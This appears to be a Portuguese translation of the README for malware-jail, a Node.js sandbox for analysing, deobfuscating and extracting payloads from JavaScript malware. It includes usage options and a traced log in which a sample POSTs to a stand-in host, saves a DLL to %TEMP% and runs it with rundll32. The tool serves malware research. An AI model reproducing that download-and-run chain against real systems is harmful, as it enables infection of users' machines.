
Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js
Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js
malware-jail é escrito para a sandbox 'vm' do Node. Atualmente implementa o contexto WScript (Windows Scripting Host) env/wscript.js, pelo menos a parte frequentemente usada por malware. O contexto de navegador de Internet está parcialmente implementado env/browser.js.
Funciona em qualquer sistema operacional. Desenvolvido e testado no Linux, Node.js v6.6.0.
Devido ao uso de alguns recursos ES6, você precisará do Node.js >= 6.x.
Veja EXEMPLOS para amostras de malware analisadas.
Se você tem novas amostras de malware, por favor submeta-as para javascript-malware-collection, seja por issue ou pull request.
Enumera consultas WMI em um arquivo: wmis.json
Adicionado novo parâmetro:
--t404 - requisições http sempre retornam HTTP/404 e lançam uma exceção. Isso permite enumerar todas as URLs remotas.
As URLs agora são salvas em urls.json. Veja o mais recente EXEMPLOS#malware-issue-14.
Várias correções de bugs e melhorias.
Várias correções de bugs e melhorias.
Adicionados novos parâmetros:
-t msecs - limita o tempo de execução em "msecs" milissegundos, por padrão 60 segundos.
--h404 - requisições http sempre retornam HTTP/404 e não lançam exceção. Isso permite enumerar todas as URLs remotas.
Você precisará ter Node.js e npm instalados.
malware-jail é construído sobre minimist, iconv-lite e entities.
Baixe o código-fonte com git:
git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail
Em seguida, instale todas as dependências (minimist, entities, iconv-lite) com:
npm install
Ainda não disponível, em breve ...
Tenha cuidado ao trabalhar com malware real. Um malware que tem conhecimento desta sandbox pode tentar escapar e prejudicar seu PC. Recomenda-se executá-lo a partir de uma conta Linux não privilegiada ou dentro de uma máquina Windows virtualizada. Os arquivos Angler na pasta malware NÃO estão desarmados.
bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, uma sandbox de malware ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 - [-o ofile] [-b id] \
7 May 20:54:52 - [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 - -c config .. use arquivo de configuração alternativo, preceda com ./
7 May 20:54:52 - -e ifile ... js que simula ambiente específico
7 May 20:54:52 - -o ofile ... nome do arquivo onde a sandbox será despejada no final
7 May 20:54:52 - -s odir ... diretório de saída para arquivos gerados (payload do malware)
7 May 20:54:52 - -b id ... tipo de navegador, use -b list para valores possíveis
7 May 20:54:52 - -t msecs ... número de milissegundos antes de encerrar a execução, padrão 1 minuto
7 May 20:54:52 - --trace ... imprime stack trace a cada linha de log
7 May 20:54:52 - --down ... permite baixar payloads de malware de servidores remotos
7 May 20:54:52 - --h404 ... no download, sempre retorna HTTP/404
7 May 20:54:52 - malware ... js com o código do malware
7 May 20:54:52 - Se nenhum argumento for especificado, os valores padrão são retirados de config.json
7 May 20:54:52 - Possíveis valores -b: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]
Na pasta exemplos você pode encontrar um arquivo de malware desativado. Execute a análise com:
node jailme.js -c ./config_wscript_only.json --down=y malware/example.js
Malware baseado em navegador de Internet você pode testar com
node jailme.js -b IE11_W10 malware/example_browser.js
Ao final da análise, o contexto completo da sandbox é despejado em um arquivo 'sandbox_dump_after.json'.
Você pode querer examinar as seguintes entradas de 'sandbox_dump_after.json':
'sandbox_dump_after.json' usa JSONPath, implementado por JSON-js/cycle.js, para salvar referências duplicadas ou cíclicas para um mesmo objeto.
bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparando ambiente da Sandbox.
11 Jan 00:06:24 - => Executando: env/eval.js
11 Jan 00:06:24 - Preparando sandbox para interceptar chamadas eval().
11 Jan 00:06:24 - => Executando: env/wscript.js
11 Jan 00:06:24 - Preparando sandbox para emular ambiente WScript.
11 Jan 00:06:24 - ==> Executando arquivo(s) de malware.
11 Jan 00:06:24 - => Executando: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Criado: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Criado: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Não enviando dados, se quiser interagir com servidor remoto, defina --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Chamando onreadystatechange() com dados fictícios
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Criado: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Execução do script finalizada, despejando ambiente da sandbox em um arquivo.
11 Jan 00:08:42 - Salvando: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Salvando: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Arquivo gerado salvo
11 Jan 00:08:42 - Arquivo gerado salvo
11 Jan 00:08:42 - O contexto da sandbox foi salvo em: sandbox_dump_after.json